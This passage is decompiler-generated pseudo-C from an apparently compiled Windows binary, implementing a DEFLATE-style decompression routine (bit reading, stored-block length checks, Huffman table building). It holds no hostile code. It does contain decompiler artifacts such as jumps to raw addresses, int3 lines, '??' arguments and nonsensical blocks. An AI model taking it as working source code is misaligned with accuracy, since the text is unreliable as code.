											if(( *(_t1022 + 0x14) & 0x00000001) != 0) {
												break;
											}
											L86:
											__eflags = _t1043 - 3;
											if(_t1043 >= 3) {
												L89:
												_t1043 = _t1043 - 3;
												_t693 = _t962 & 0x00000007;
												_t991 = _t962 >> 3;
												 *(_t1022 + 0x14) = _t693;
												_t596 = _t693 >> 1;
												__eflags = _t596;
												 *(_t1058 - 4) = _t991;
												 *(_t1058 - 0x1c) = _t1043;
												 *(_t1022 + 0x18) = _t596;
												if(_t596 != 0) {
													L124:
													__eflags = _t596 - 3;
													if(_t596 == 3) {
														L266:
														 *(_t1058 - 0xc) = 0xffffffff;
														 *_t1022 = 0xa;
														goto L292;
													} else {
														L125:
														__eflags = _t596 - 1;
														if(_t596 != 1) {
															L128:
															_t893 = 0;
															__eflags = 0;
															while(1) {
																L129:
																 *(_t1058 - 8) = _t893;
																__eflags = _t893 - 3;
																if(_t893 >= 3) {
																	break;
																}
																L130:
																_t596 =  *((char*)(_t893 + 0x31f004));
																 *(_t1058 - 0x1c) = _t596;
																__eflags = _t1043 - _t596;
																if(_t1043 >= _t596) {
																	L133:
																	_t1017 = _t1022 + _t893 * 4;
																	_t1036 =  *(_t1058 - 4);
																	 *(_t1017 + 0x2c) = (0x00000001 <<  *(_t1058 - 0x1c)) - 0x00000001 & _t1036;
																	_t804 =  *(_t1058 - 8);
																	_t931 =  *((char*)(_t804 + 0x31f004));
																	_t1037 = _t1036 >> _t931;
																	_t1043 = _t1043 - _t931;
																	_t932 = _t804;
																	 *(_t1058 - 4) = _t1037;
																	 *(_t1058 - 0x1c) = _t1043;
																	_t596 =  *(0x31fa38 + _t932 * 4);
																	 *(_t1017 + 0x2c) =  *(_t1017 + 0x2c) +  *(0x31fa38 + _t932 * 4);
																	_t991 = _t1037;
																	_t1022 =  *(_t1058 - 0x14);
																	_t893 = _t932 + 1;
																	continue;
																} else {
																	while(1) {
																		L131:
																		__eflags = _t841 -  *(_t1058 - 0x20);
																		if(_t841 >=  *(_t1058 - 0x20)) {
																			break;
																		}
																		L132:
																		_t806 = ( *_t841 & 0x000000ff) << _t1043;
																		_t841 = _t841 + 1;
																		_t893 =  *(_t1058 - 8);
																		_t991 = _t991 | _t806;
																		_t1043 = _t1043 + 8;
																		 *(_t1058 - 0x18) = _t841;
																		 *(_t1058 - 4) = _t991;
																		_t596 =  *((char*)(_t893 + 0x31f004));
																		 *(_t1058 - 0x1c) = _t596;
																		__eflags = _t1043 - _t596;
																		if(_t1043 < _t596) {
																			continue;
																		} else {
																			goto L133;
																		}
																		goto L295;
																	}
																	L248:
																	 *_t1022 = 0xb;
																	goto L285;
																}
																goto L295;
															}
															L134:
															goto L0;
														} else {
															L126:
															goto 0x3314d8;
															asm("int3");
															asm("int3");
															 *((intOrPtr*)(_t596 + 0x2c)) = 0x120;
															L127:
															_t808 = _t596 + 1 - 0x20;
															 *_t808 =  *_t808 + _t808;
															_t841 = _t841 + _t808;
															_t809 = _t808 + 1;
															 *_t809 =  *_t809 ^ _t809;
															 *_t809 = _t809 +  *_t809;
															 *0xde0 =  *0xde0 + _t809;
															memset(_t809, ??, ??);
															asm("movdqa xmm0, [0x31fae0]");
															_t1061 = _t1061 + 0xc;
															asm("movdqu [edi+0x40], xmm0");
															asm("movdqu [edi+0x50], xmm0");
															asm("movdqu [edi+0x60], xmm0");
															asm("movdqu [edi+0x70], xmm0");
															asm("movdqu [edi+0x80], xmm0");
															asm("movdqu [edi+0x90], xmm0");
															asm("movdqu [edi+0xa0], xmm0");
															asm("movdqu [edi+0xb0], xmm0");
															asm("movdqu [edi+0xc0], xmm0");
															_t1038 = _t1022 + 0xd0;
															asm("movdqa xmm0, [0x31faf0]");
															asm("movdqu [edi], xmm0");
															asm("movdqu [edi+0x10], xmm0");
															asm("movdqu [edi+0x20], xmm0");
															asm("movdqu [edi+0x30], xmm0");
															asm("movdqu [edi+0x40], xmm0");
															asm("movdqu [edi+0x50], xmm0");
															asm("movdqu [edi+0x60], xmm0");
															asm("movdqa xmm0, [0x31fad0]");
															asm("movdqu [edi+0x70], xmm0");
															asm("movq [edi+0x80], xmm0");
															 *((intOrPtr*)(_t1038 + 0x88)) = 0x8080808;
															 *((intOrPtr*)(_t1038 + 0x8c)) = 0x8080808;
															_t1022 =  *(_t1058 - 0x14);
															goto L141;
														}
													}
												} else {
													L90:
													_t596 = _t1043 & 0x00000007;
													__eflags = _t1043 - _t596;
													if(_t1043 >= _t596) {
														L93:
														_t935 = _t1043 & 0x00000007;
														_t962 = _t991 >> _t935;
														_t1043 = _t1043 - _t935;
														 *(_t1058 - 4) = _t962;
														_t936 = 0;
														__eflags = 0;
														while(1) {
															L94:
															 *(_t1058 - 8) = _t936;
															__eflags = _t936 - 4;
															if(_t936 >= 4) {
																break;
															}
															L95:
															__eflags = _t1043;
															if(_t1043 == 0) {
																L101:
																__eflags = _t841 -  *(_t1058 - 0x20);
																if(_t841 >=  *(_t1058 - 0x20)) {
																	L244:
																	 *_t1022 = 7;
																	goto L285;
																} else {
																	L102:
																	_t596 =  *_t841;
																	_t841 = _t841 + 1;
																	(_t1022 + 0x2920)[_t936] = _t596;
																	_t936 = _t936 + 1;
																	 *(_t1058 - 0x18) = _t841;
																	continue;
																}
															} else {
																L96:
																__eflags = _t1043 - 8;
																if(_t1043 >= 8) {
																	L100:
																	(_t1022 + 0x2920)[_t936] = _t962;
																	_t1043 = _t1043 - 8;
																	_t962 = _t962 >> 8;
																	_t936 = _t936 + 1;
																	 *(_t1058 - 4) = _t962;
																	continue;
																} else {
																	while(1) {
																		L97:
																		__eflags = _t841 -  *(_t1058 - 0x20);
																		if(_t841 >=  *(_t1058 - 0x20)) {
																			break;
																		}
																		L98:
																		_t596 = ( *_t841 & 0x000000ff) << _t1043;
																		_t841 = _t841 + 1;
																		_t962 = _t962 | _t596;
																		 *(_t1058 - 0x18) = _t841;
																		_t1043 = _t1043 + 8;
																		 *(_t1058 - 4) = _t962;
																		__eflags = _t1043 - 8;
																		if(_t1043 < 8) {
																			continue;
																		} else {
																			L99:
																			_t936 =  *(_t1058 - 8);
																			goto L100;
																		}
																		goto L295;
																	}
																	L243:
																	 *_t1022 = 6;
																	goto L285;
																}
															}
															goto L295;
														}
														L103:
														_t596 =  *(_t1022 + 0x2922) & 0x000000ff;
														 *(_t1058 - 8) = ( *(_t1022 + 0x2921) & 0x000000ff) << 0x00000008 |  *(_t1022 + 0x2920) & 0x000000ff;
														__eflags =  *(_t1058 - 8) - ((( *(_t1022 + 0x2923) & 0x000000ff) << 0x00000008 | _t596) ^ 0x0000ffff);
														if( *(_t1058 - 8) != ((( *(_t1022 + 0x2923) & 0x000000ff) << 0x00000008 | _t596) ^ 0x0000ffff)) {
															L265:
															 *(_t1058 - 0xc) = 0xffffffff;
															 *_t1022 = 0x27;
															goto L292;
														} else {
															L104:
															_t944 =  *(_t1058 - 8);
															while(1) {
																L105:
																__eflags = _t944;
																if(_t944 == 0) {
																	goto L85;
																}
																L106:
																__eflags = _t1043;
																if(_t1043 == 0) {
																	L113:
																	_t596 =  *(_t1058 - 0x10);
																	while(1) {
																		L114:
																		__eflags = _t944;
																		if(_t944 == 0) {
																			break;
																		}
																		L116:
																		_t1018 =  *((intOrPtr*)(_t1058 - 0x40));
																		__eflags = _t596 - _t1018;
																		if(_t596 < _t1018) {
																			L118:
																			_t596 =  *(_t1058 - 0x20);
																			__eflags = _t841 - _t596;
																			if(_t841 >= _t596) {
																				L247:
																				_t1022 =  *(_t1058 - 0x14);
																				 *_t1022 = 0x26;
																				goto L285;
																			} else {
																				L119:
																				_t962 = _t1018 -  *(_t1058 - 0x10);
																				_t1040 = _t596 - _t841;
																				__eflags = _t962 - _t1040;
																				_t814 =  <  ? _t962 : _t1040;
																				__eflags = ( <  ? _t962 : _t1040) - _t944;
																				if(( <  ? _t962 : _t1040) >= _t944) {
																					_t1022 = _t944;
																				} else {
																					__eflags = _t962 - _t1040;
																					_t1022 =  <  ? _t962 : _t1040;
																				}
																				L122:
																				L123:
																				memcpy();
																				_t841 = _t841 + _t1022;
																				_t596 =  *(_t1058 - 0x10) + _t1022;
																				_t1061 = _t1061 + 0xc;
																				 *(_t1058 - 0x18) = _t841;
																				_t944 =  *(_t1058 - 8) - _t1022;
																				 *(_t1058 - 0x10) = _t596;
																				 *(_t1058 - 8) = _t944;
																				continue;
																			}
																		} else {
																			L117:
																			_t1022 =  *(_t1058 - 0x14);
																			 *(_t1058 - 0xc) = 2;
																			 *_t1022 = 9;
																			goto L292;
																		}
																		goto L295;
																	}
																	L115:
																	goto 0x3314b1;
																	asm("int3");
																	goto L85;
																} else {
																	L107:
																	__eflags = _t1043 - 8;
																	if(_t1043 >= 8) {
																		L110:
																		_t596 = _t962 & 0x000000ff;
																		_t962 = _t962 >> 8;
																		_t1043 = _t1043 - 8;
																		 *(_t1058 - 0x28) = _t596;
																		 *(_t1058 - 4) = _t962;
																		L111:
																		__eflags =  *(_t1058 - 0x10) -  *((intOrPtr*)(_t1058 - 0x40));
																		_t1022 =  *(_t1058 - 0x14);
																		if( *(_t1058 - 0x10) >=  *((intOrPtr*)(_t1058 - 0x40))) {
																			L246:
																			 *(_t1058 - 0xc) = 2;
																			 *_t1022 = 0x34;
																			goto L292;
																		} else {
																			L112:
																			 *(_t1058 - 0x10) =  *(_t1058 - 0x10) + 1;
																			 *( *(_t1058 - 0x10)) = _t596;
																			_t944 =  *(_t1058 - 8) - 1;
																			 *(_t1058 - 8) = _t944;
																			continue;
																		}
																	} else {
																		while(1) {
																			L108:
																			__eflags = _t841 -  *(_t1058 - 0x20);
																			if(_t841 >=  *(_t1058 - 0x20)) {
																				break;
																			}
																			L109:
																			_t596 = ( *_t841 & 0x000000ff) << _t1043;
																			_t841 = _t841 + 1;
																			_t962 = _t962 | _t596;
																			 *(_t1058 - 0x18) = _t841;
																			_t1043 = _t1043 + 8;
																			 *(_t1058 - 4) = _t962;
																			__eflags = _t1043 - 8;
																			if(_t1043 < 8) {
																				continue;
																			} else {
																				goto L110;
																			}
																			goto L295;
																		}
																		L245:
																		 *_t1022 = 0x33;
																		goto L285;
																	}
																}
																goto L295;
															}
															continue;
														}
													} else {
														while(1) {
															L91:
															__eflags = _t841 -  *(_t1058 - 0x20);
															if(_t841 >=  *(_t1058 - 0x20)) {
																break;
															}
															L92:
															_t820 = ( *_t841 & 0x000000ff) << _t1043;
															_t1043 = _t1043 + 8;
															_t991 = _t991 | _t820;
															_t841 = _t841 + 1;
															 *(_t1058 - 0x18) = _t841;
															_t596 = _t1043 & 0x00000007;
															 *(_t1058 - 4) = _t991;
															__eflags = _t1043 - _t596;
															if(_t1043 < _t596) {
																continue;
															} else {
																goto L93;
															}
															goto L295;
														}
														L242:
														 *_t1022 = 5;
														goto L285;
													}
												}
											} else {
												while(1) {
													L87:
													__eflags = _t841 -  *(_t1058 - 0x20);
													if(_t841 >=  *(_t1058 - 0x20)) {
														break;
													}
													L88:
													_t596 = ( *_t841 & 0x000000ff) << _t1043;
													_t841 = _t841 + 1;
													_t962 = _t962 | _t596;
													 *(_t1058 - 0x18) = _t841;
													_t1043 = _t1043 + 8;
													 *(_t1058 - 4) = _t962;
													__eflags = _t1043 - 3;
													if(_t1043 < 3) {
														continue;
													} else {
														goto L89;
													}
													goto L295;
												}
												L241:
												 *_t1022 = 3;
												goto L285;
											}
											goto L295;
										}
										L252:
										_t596 = _t1043 & 0x00000007;
										__eflags = _t1043 - _t596;
										if(_t1043 >= _t596) {
											L256:
											_t683 =  *(_t1058 - 0x3c);
											_t886 = _t1043 & 0x00000007;
											_t986 = _t962 >> _t886;
											_t1043 = _t1043 - _t886;
											 *(_t1058 - 4) = _t986;
											__eflags = _t841 - _t683;
											if(_t841 > _t683) {
												while(1) {
													L257:
													__eflags = _t1043 - 8;
													if(_t1043 < 8) {
														goto L259;
													}
													L258:
													_t841 = _t841 - 1;
													_t1043 = _t1043 - 8;
													__eflags = _t841 - _t683;
													if(_t841 > _t683) {
														continue;
													}
													goto L259;
												}
											}
											L259:
											L260:
											_t596 = _t1043;
											asm("bts edx, eax");
											__eflags = _t596 - 0x20;
											_t888 =  >=  ? _t986 : 0;
											_t987 = _t986 ^ _t888;
											__eflags = _t596 - 0x40;
											_t889 =  >=  ? _t987 : _t888;
											 *(_t1058 - 4) =  *(_t1058 - 4) & _t987 - 0x00000001;
											__eflags =  *(_t1058 + 0x18) & 0x00000001;
											if(( *(_t1058 + 0x18) & 0x00000001) == 0) {
												L290:
												_t684 = 0;
												__eflags = 0;
												 *_t1022 = 0x22;
												L291:
												 *(_t1058 - 0xc) = _t684;
												goto L292;
											} else {
												L261:
												_t890 = 0;
												while(1) {
													L277:
													 *(_t1058 - 8) = _t890;
													__eflags = _t890 - 4;
													if(_t890 >= 4) {
														goto L290;
													}
													L278:
													__eflags = _t1043;
													if(_t1043 != 0) {
														L281:
														_t989 =  *(_t1058 - 4);
														__eflags = _t1043 - 8;
														if(_t1043 >= 8) {
															L275:
															_t685 = _t989 & 0x000000ff;
															_t1043 = _t1043 - 8;
															__eflags = _t1043;
															 *(_t1058 - 4) = _t989 >> 8;
															goto L276;
														} else {
															L282:
															while(1) {
																L272:
																__eflags = _t841 -  *(_t1058 - 0x20);
																if(_t841 >=  *(_t1058 - 0x20)) {
																	break;
																}
																L273:
																_t596 = ( *_t841 & 0x000000ff) << _t1043;
																_t1043 = _t1043 + 8;
																_t989 = _t989 | _t596;
																_t841 = _t841 + 1;
																 *(_t1058 - 4) = _t989;
																__eflags = _t1043 - 8;
																if(_t1043 < 8) {
																	continue;
																} else {
																	L274:
																	_t890 =  *(_t1058 - 8);
																	goto L275;
																}
																goto L295;
															}
															L284:
															 *_t1022 = 0x29;
															goto L285;
														}
													} else {
														L279:
														__eflags = _t841 -  *(_t1058 - 0x20);
														if(_t841 >=  *(_t1058 - 0x20)) {
															L283:
															 *_t1022 = 0x2a;
															goto L285;
														} else {
															L280:
															_t685 =  *_t841 & 0x000000ff;
															_t841 = _t841 + 1;
															L276:
															 *(_t1058 - 0x24) = _t685;
															_t596 =  *(_t1022 + 0x10) << 0x00000008 |  *(_t1058 - 0x24);
															_t890 = _t890 + 1;
															__eflags = _t890;
															 *(_t1022 + 0x10) = _t596;
															continue;
														}
													}
													goto L295;
												}
												goto L290;
											}
										} else {
											L253:
											while(1) {
												L254:
												__eflags = _t841 -  *(_t1058 - 0x20);
												if(_t841 >=  *(_t1058 - 0x20)) {
													break;
												}
												L255:
												_t690 = ( *_t841 & 0x000000ff) << _t1043;
												_t1043 = _t1043 + 8;
												_t962 = _t962 | _t690;
												_t841 = _t841 + 1;
												 *(_t1058 - 4) = _t962;
												_t596 = _t1043 & 0x00000007;
												__eflags = _t1043 - _t596;
												if(_t1043 < _t596) {
													continue;
												} else {
													goto L256;
												}
												goto L295;
											}
											L271:
											 *_t1022 = 0x20;
											goto L285;
										}
									}
								} else {
									L49:
									__eflags = _t1043 - 0xf;
									if(_t1043 < 0xf) {
										_t999 =  *(_t841 + 1) & 0x000000ff;
										_t880 = _t1043;
										_t721 =  *_t841 & 0x000000ff;
										_t841 = _t841 + 2;
										_t1022 =  *(_t1058 - 0x14);
										 *(_t1058 - 0x18) = _t841;
										 *(_t1058 - 4) =  *(_t1058 - 4) | (_t999 << 0x00000008 | _t721) << _t880;
										_t1043 = _t1043 + 0x10;
										__eflags = _t1043;
										_t962 =  *(_t1058 - 4);
									}
									_t714 =  *((short*)(_t1022 + 0x160 + (_t962 & 0x000003ff) * 2));
									 *(_t1058 - 0x1c) = _t714;
									__eflags = _t714;
									if(_t714 < 0) {
										L53:
										goto 0x331472;
										asm("int3");
										asm("int3");
										asm("int3");
										do {
											L54:
											_t716 = _t962 >> _t880;
											_t880 = _t880 + 1;
											_t841 =  *((short*)(_t1022 + 0x960 + ((_t716 & 0x00000001) +  !_t841) * 2));
											__eflags = _t841;
										} while (_t841 < 0);
										 *(_t1058 - 0x1c) = _t841;
										_t841 =  *(_t1058 - 0x18);
									} else {
										L52:
										_t880 = _t714 >> 9;
									}
									L56:
									_t596 =  *(_t1058 - 8);
									_t1043 = _t1043 - _t880;
									_t962 = _t962 >> _t880;
									 *(_t1058 - 4) = _t962;
									 *( *(_t1058 - 0x10)) = _t596;
									_t880 =  *(_t1058 - 0x1c);
									__eflags = _t880 & 0x00000100;
									if((_t880 & 0x00000100) != 0) {
										L83:
										_t170 = _t1058 - 0x10;
										 *_t170 =  *(_t1058 - 0x10) + 1;
										__eflags =  *_t170;
										goto L84;
									} else {
										L57:
										_t719 =  *(_t1058 - 0x10);
										 *(_t719 + 1) = _t880;
										 *(_t1058 - 0x10) = _t719 + 2;
										continue;
										do {
											do {
												while(1) {
													L39:
													_t879 =  *(_t1058 - 0x20) - _t841;
													__eflags = _t879 - 4;
													if(_t879 < 4) {
														goto L58;
													}
													goto L40;
												}
												L26:
												__eflags = _t877;
											} while (_t877 == 0);
											goto 0x33140c;
											asm("int3");
											_t824 =  *_t830;
											 *_t1022 = _t824;
											_t1022 =  *(_t1058 - 0x14);
											__eflags = _t877 - 1;
											if(_t877 > 1) {
												L29:
												L36:
												goto 0x331448;
												asm("int3");
												 *(_t982 + 1) =  *((intOrPtr*)(_t824 + 1));
												_t982 =  *(_t1058 - 4);
											}
											L38:
											_t85 = _t1058 - 0x10;
											 *_t85 = _t877 +  *(_t1058 - 0x10);
											__eflags =  *_t85;
											while(1) {
												L39:
												_t879 =  *(_t1058 - 0x20) - _t841;
												__eflags = _t879 - 4;
												if(_t879 < 4) {
													goto L58;
												}
												goto L40;
											}
											L33:
											 *(_t1058 - 0x10) = _t1022;
											_t1022 =  *(_t1058 - 0x14);
											 *(_t1058 - 0xc) = _t982;
											_t982 =  *(_t1058 - 4);
											 *(_t1058 - 8) = _t877;
											__eflags = _t877;
										} while (_t877 <= 0);
										goto 0x331434;
										asm("int3");
										_t824 =  *_t666;
										 *_t1022 = _t824;
										_t1022 =  *(_t1058 - 0x14);
										__eflags = _t877 - 1;
										if(_t877 > 1) {
											goto L36;
										}
										goto L38;
									}
								}
							}
							goto L295;
							L58:
							__eflags = _t1043 - 0xf;
							if(_t1043 >= 0xf) {
								L75:
								_t669 =  *((short*)(_t1022 + 0x160 + (_t982 & 0x000003ff) * 2));
								 *(_t1058 - 8) = _t669;
								__eflags = _t669;
								if(_t669 < 0) {
									L77:
									goto 0x33149b;
									asm("int3");
									asm("int3");
									asm("int3");
									do {
										L78:
										_t671 = _t982 >> _t879;
										_t879 = _t879 + 1;
										_t596 = (_t671 & 0x00000001) +  !_t841;
										_t841 =  *((short*)(_t1022 + 0x960 + _t596 * 2));
										__eflags = _t841;
									} while (_t841 < 0);
									 *(_t1058 - 8) = _t841;
									_t841 =  *(_t1058 - 0x18);
								} else {
									L76:
									_t879 = _t669 >> 9;
									_t596 = _t669 & 0x000001ff;
									 *(_t1058 - 8) = _t596;
								}
								L80:
								_t962 = _t982 >> _t879;
								_t1043 = _t1043 - _t879;
								_t880 =  *(_t1058 - 8);
								 *(_t1058 - 4) = _t962;
								__eflags = _t880 - 0x100;
								if(_t880 >= 0x100) {
									goto L84;
								} else {
									L81:
									_t822 =  *(_t1058 - 0x10);
									__eflags = _t822 -  *((intOrPtr*)(_t1058 - 0x40));
									if(_t822 >=  *((intOrPtr*)(_t1058 - 0x40))) {
										L240:
										 *(_t1058 - 0xc) = 2;
										 *_t1022 = 0x18;
										goto L292;
									} else {
										L82:
										 *_t822 = _t880;
										 *(_t1058 - 0x10) = _t822 + 1;
										continue;
									}
								}
							} else {
								L59:
								__eflags = _t879 - 2;
								if(_t879 >= 2) {
									L73:
									_t992 =  *(_t841 + 1) & 0x000000ff;
									_t695 =  *_t841 & 0x000000ff;
									_t841 = _t841 + 2;
									_t879 = _t1043;
									 *(_t1058 - 0x18) = _t841;
									 *(_t1058 - 4) =  *(_t1058 - 4) | _t992 << _t1043 + 0x00000008 | _t695 << _t879;
									_t1043 = _t1043 + 0x10;
									__eflags = _t1043;
									_t982 =  *(_t1058 - 4);
									goto L74;
								} else {
									do {
										L60:
										_t596 = _t982 & 0x000003ff;
										_t1025 =  *((short*)(_t1022 + 0x160 + _t596 * 2));
										__eflags = _t1025;
										if(_t1025 < 0) {
											L64:
											__eflags = _t1043 - 0xa;
											if(_t1043 <= 0xa) {
												goto L69;
											} else {
												L65:
												 *(_t1058 - 0x1c) = _t879;
												while(1) {
													L67:
													_t1025 =  *((short*)( *(_t1058 - 0x14) + 0x960 + ((_t982 >> _t879 & 0x00000001) +  !_t1025) * 2));
													_t879 =  *(_t1058 - 0x1c) + 1;
													 *(_t1058 - 0x1c) = _t879;
													__eflags = _t1025;
													if(_t1025 >= 0) {
														goto L74;
													}
													L68:
													_t596 = _t879 + 1;
													__eflags = _t1043 - _t596;
													if(_t1043 >= _t596) {
														continue;
													} else {
														goto L69;
													}
													goto L295;
												}
												goto L74;
											}
										} else {
											L61:
											_t1027 = _t1025 >> 9;
											__eflags = _t1027;
											if(_t1027 == 0) {
												L69:
												_t1022 =  *(_t1058 - 0x14);
												L70:
												__eflags = _t841 -  *(_t1058 - 0x20);
												if(_t841 >=  *(_t1058 - 0x20)) {
													L239:
													 *_t1022 = 0x17;
													goto L285;
												} else {
													goto L71;
												}
											} else {
												L62:
												__eflags = _t1043 - _t1027;
												if(_t1043 >= _t1027) {
													L74:
													_t1022 =  *(_t1058 - 0x14);
													goto L75;
												} else {
													L63:
													goto L69;
												}
											}
										}
										goto L295;
										L71:
										_t879 = _t1043;
										_t699 = ( *_t841 & 0x000000ff) << _t879;
										_t841 = _t841 + 1;
										_t982 = _t982 | _t699;
										 *(_t1058 - 0x18) = _t841;
										_t1043 = _t1043 + 8;
										 *(_t1058 - 4) = _t982;
										__eflags = _t1043 - 0xf;
									} while (_t1043 < 0xf);
									goto L75;
								}
							}
							goto L295;
						}
					}
					L142:
					 *(_t1058 - 0xc) = 0x40 + _t694 * 0xda0 + _t1022;
					memset(_t1058 - 0xd0, 0, 0x40);
					memset( *(_t1058 - 0xc) + 0x120, 0, 0x800);
					memset( *(_t1058 - 0xc) + 0x920, 0, 0x480);
					_t894 = 0;
					_t1061 = _t1061 + 0x24;
					_t1005 = _t1022 + ( *(_t1022 + 0x18) + 0xb) * 4;
					 *(_t1058 - 0x44) = _t1005;
					__eflags =  *_t1005;
					if( *_t1005 > 0) {
						L143:
						_t1022 =  *(_t1058 - 0xc);
						do {
							L144:
							_t797 =  *(_t894 + _t1022) & 0x000000ff;
							_t894 = _t894 + 1;
							 *((intOrPtr*)(_t1058 + _t797 * 4 - 0xd0)) =  *((intOrPtr*)(_t1058 + _t797 * 4 - 0xd0)) + 1;
							__eflags = _t894 -  *_t1005;
						} while (_t894 <  *_t1005);
					}
					L145:
					goto 0x331500;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					L146:
					 *(_t1058 - 0x8c) = _t894;
					 *(_t1058 - 0x90) = _t894;
					 *(_t1058 - 0x2c) = _t894;
					 *(_t1058 - 0x30) = _t894;
					do {
						L147:
						_t734 =  *((intOrPtr*)(_t1058 + _t1005 - 0xd4));
						_t896 = _t894 + _t734 + _t894 + _t734;
						_t1022 = _t1022 + _t734;
						_t735 =  *((intOrPtr*)(_t1058 + _t1005 - 0xd0));
						 *(_t1058 - 0x30) =  *(_t1058 - 0x30) + _t735;
						 *((intOrPtr*)(_t1058 + _t1005 - 0x90)) = _t896;
						_t736 =  *((intOrPtr*)(_t1058 + _t1005 - 0xcc));
						_t898 = _t896 + _t735 + _t896 + _t735;
						 *(_t1058 - 0x2c) =  *(_t1058 - 0x2c) + _t736;
						 *((intOrPtr*)(_t1058 + _t1005 - 0x8c)) = _t898;
						_t894 = _t898 + _t736 + _t898 + _t736;
						 *(_t1058 + _t1005 - 0x88) = _t894;
						_t1005 = _t1005 + 0xc;
						__eflags = _t1005 - 0x40;
					} while (_t1005 <= 0x40);
					 *(_t1058 - 0x4c) = _t894;
					 *(_t1058 - 0x24) = _t1022;
					_t1022 =  *(_t1058 - 0x14);
					_t901 =  *(_t1058 - 0x24) +  *(_t1058 - 0x2c) +  *(_t1058 - 0x30);
					__eflags =  *(_t1058 - 0x4c) - 0x10000;
					if( *(_t1058 - 0x4c) == 0x10000) {
						L150:
						_t739 =  *(_t1058 - 0x44);
						 *(_t1058 - 0x30) = 0xffffffff;
						 *(_t1058 - 0x4c) = 0;
						__eflags =  *_t739;
						if( *_t739 > 0) {
							L151:
							_t1057 =  *(_t1058 - 0x4c);
							do {
								L152:
								L153:
								_t913 =  *(_t1057 + _t739) & 0x000000ff;
								 *(_t1058 - 0x44) = _t913;
								__eflags = _t913;
								if(_t913 != 0) {
									L154:
									_t776 =  *(_t1058 + _t913 * 4 - 0x90);
									 *(_t1058 - 0x2c) = _t776;
									 *(_t1058 + _t913 * 4 - 0x90) = _t776 + 1;
									 *(_t1058 - 0x24) = _t913;
									__eflags = _t913;
									if(_t913 != 0) {
										L155:
										do {
											L156:
											 *(_t1058 - 0x2c) =  *(_t1058 - 0x2c) >> 1;
											_t796 =  *(_t1058 - 0x24) - 1;
											_t1005 = _t1005 + _t1005 |  *(_t1058 - 0x2c) & 0x00000001;
											 *(_t1058 - 0x24) = _t796;
											__eflags = _t796;
										} while (_t796 != 0);
										_t913 =  *(_t1058 - 0x44);
									}
									L158:
									__eflags = _t913 - 0xa;
									if(_t913 > 0xa) {
										L164:
										_t780 =  *(_t1058 - 0xc) + 0x120 + (_t1005 & 0x000003ff) * 2;
										_t841 =  *(_t1058 - 0x30);
										 *(_t1058 - 0x44) = _t780;
										_t781 =  *_t780;
										 *(_t1058 - 0x2c) = _t781;
										__eflags = _t781;
										if(_t781 == 0) {
											 *( *(_t1058 - 0x44)) = _t841;
											_t781 = _t841;
											_t841 = _t841 - 2;
											__eflags = _t841;
											 *(_t1058 - 0x2c) = _t781;
											 *(_t1058 - 0x30) = _t841;
										}
										L166:
										_t1013 = _t1005 >> 9;
										__eflags = _t913 - 0xb;
										if(_t913 > 0xb) {
											L167:
											_t914 = _t913 + 0xfffffff5;
											__eflags = _t914;
											 *(_t1058 - 0x24) = _t914;
											_t915 =  *(_t1058 - 0x2c);
											do {
												L168:
												_t1013 = _t1013 >> 1;
												_t786 = 0x48f - _t915 - (_t1013 & 0x00000001);
												_t918 =  *( *(_t1058 - 0xc) + 0x91e) & 0x0000ffff;
												__eflags = _t918;
												if(_t918 != 0) {
													_t915 = _t918;
												} else {
													 *( *(_t1058 - 0xc) + _t786 * 2) = _t841;
													_t787 =  *(_t1058 - 0x30);
													_t915 = _t787;
													_t788 = _t787 - 2;
													 *(_t1058 - 0x30) = _t788;
													_t841 = _t788;
												}
												L171:
												_t361 = _t1058 - 0x24;
												 *_t361 =  *(_t1058 - 0x24) - 1;
												__eflags =  *_t361;
											} while ( *_t361 != 0);
											 *(_t1058 - 0x2c) = _t915;
											_t781 = _t915;
										}
										L173:
										_t1005 = (_t1013 >> 0x00000001 & 0x00000001) - _t781;
										__eflags = _t1005;
										 *( *(_t1058 - 0xc) + 0x91e + _t1005 * 2) = _t1057;
									} else {
										L159:
										_t793 = (_t913 << 0x00000009 | _t1057) & 0x0000ffff;
										 *(_t1058 - 0x44) = _t793;
										__eflags = _t1005 - 0x400;
										if(_t1005 < 0x400) {
											L160:
											goto 0x33152a;
											asm("int3");
											asm("int3");
											asm("int3");
											L161:
											_t794 = _t793 << _t913;
											 *(_t1058 - 0x4c) = _t794 + _t794;
											_t923 =  *(_t1058 - 0xc) + _t1005 * 2 + 0x120;
											__eflags = _t923;
											do {
												L162:
												 *_t923 = _t1022;
												_t1005 = _t1005 + _t794;
												_t923 = _t923 +  *(_t1058 - 0x4c);
												__eflags = _t1005 - 0x400;
											} while (_t1005 < 0x400);
											_t1022 =  *(_t1058 - 0x14);
										}
									}
								}
								L174:
								_t739 =  *(_t1022 + 0x18);
								_t1057 = _t1057 + 1;
								__eflags = _t1057 -  *((intOrPtr*)(_t1022 + 0x2c + _t739 * 4));
							} while (_t1057 <  *((intOrPtr*)(_t1022 + 0x2c + _t739 * 4)));
							goto 0x331540;
							asm("int3");
						}
						L176:
						__eflags =  *(_t1022 + 0x18) - 2;
						if( *(_t1022 + 0x18) != 2) {
							L217:
							 *(_t1022 + 0x18) =  *(_t1022 + 0x18) - 1;
							goto L141;
						} else {
							L177:
							_t902 = 0;
							__eflags = 0;
							while(1) {
								L178:
								_t1006 =  *(_t1058 - 4);
								while(1) {
									L179:
									 *(_t1058 - 8) = _t902;
									__eflags = _t902 -  *(_t1022 + 0x30) +  *(_t1022 + 0x2c);
									if(_t902 >=  *(_t1022 + 0x30) +  *(_t1022 + 0x2c)) {
										break;
									}
									L180:
									__eflags = _t1057 - 0xf;
									if(_t1057 >= 0xf) {
										L197:
										_t754 =  *((short*)(_t1022 + 0x1ca0 + (_t1006 & 0x000003ff) * 2));
										 *(_t1058 - 0x28) = _t754;
										__eflags = _t754;
										if(_t754 < 0) {
											L199:
											L200:
											do {
												L201:
												 *(_t1058 - 0x28) =  !( *(_t1058 - 0x28));
												_t756 = _t1006 >> _t902;
												_t902 = _t902 + 1;
												_t596 =  *((short*)(_t1022 + 0x24a0 + ((_t756 & 0x00000001) +  *(_t1058 - 0x28)) * 2));
												 *(_t1058 - 0x28) = _t596;
												__eflags = _t596;
											} while (_t596 < 0);
										} else {
											L198:
											_t902 = _t754 >> 9;
											_t596 = _t754 & 0x000001ff;
											 *(_t1058 - 0x28) = _t596;
										}
										L202:
										_t1006 = _t1006 >> _t902;
										_t1043 = _t1057 - _t902;
										 *(_t1058 - 4) = _t1006;
										 *(_t1058 - 0x1c) = _t1043;
										__eflags = _t596 - 0x10;
										if(__eflags >= 0) {
											L204:
